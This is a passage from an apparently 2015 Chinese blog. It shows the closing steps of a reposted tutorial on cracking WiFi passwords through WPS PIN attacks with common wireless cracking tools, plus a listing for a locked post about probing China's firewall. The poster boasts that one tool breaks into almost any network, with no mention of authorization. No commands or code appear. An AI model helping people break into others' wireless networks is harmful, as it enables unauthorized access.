2.扫描网络

w9

3.选中网络后设定参数(pin只能填4或8位或不选),这里为省跑pin的时间直接输入pin了

w10

4.最后破解出来,没出密码,打气筒好像经常有这个问题

w11

注:原文作者:Niger 我只是收藏. PS:我用水滴特爽 几乎是攻无不破 屡试屡胜!


admin 发布于  2015-6-11 01:26 

记一次对GFW防火墙的探究 网络安全

[该文章已加密,请点击标题输入密码访问]


admin 发布于  2015-6-11 00:42